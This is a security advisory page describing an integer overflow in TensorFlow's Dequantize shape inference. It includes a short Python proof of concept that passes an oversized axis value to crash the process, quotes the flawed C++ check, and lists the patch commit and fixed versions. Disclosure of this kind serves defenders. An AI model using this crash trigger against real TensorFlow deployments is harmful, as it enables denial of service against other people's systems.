PT-2026-59776

Publicado

2026-07-09

·

Atualizado

2026-07-09

Descrição por

CVSS 3.1
7.6
Alta
MétricasAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

Impact

The [implementation of shape inference for Dequantize](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array ops.cc#L3001-L3034) is vulnerable to an integer overflow weakness:
python
import tensorflow as tf

input = tf.constant([1,1],dtype=tf.qint32)

@tf.function
def test():
 y = tf.raw ops.Dequantize(
  input=input,
  min range=[1.0],
  max range=[10.0],
  mode='MIN COMBINED',
  narrow range=False,
  axis=2**31-1,
  dtype=tf.bfloat16)
 return y

test()
The axis argument can be -1 (the default value for the optional argument) or any other positive value at most the number of dimensions of the input. Unfortunately, the upper bound is not checked, and, since the code computes axis + 1, an attacker can trigger an integer overflow:
cc
 int axis = -1; 
 Status s = c->GetAttr("axis", &axis);
 // ...
 if (axis < -1) {
  return errors::InvalidArgument("axis should be at least -1, got ",
                  axis);
 }
 // ...
 if (axis != -1) {
  ShapeHandle input;
  TF RETURN IF ERROR(c->WithRankAtLeast(c->input(0), axis + 1, &input));
  // ...
 }

Patches

We have patched the issue in GitHub commit b64638ec5ccaa77b7c1eb90958e3d85ce381f91b.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.
Explorabilidade
Correção
Fornecedores
Produtos afetados
Identificadores relacionados
PYSEC-2026-3159
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾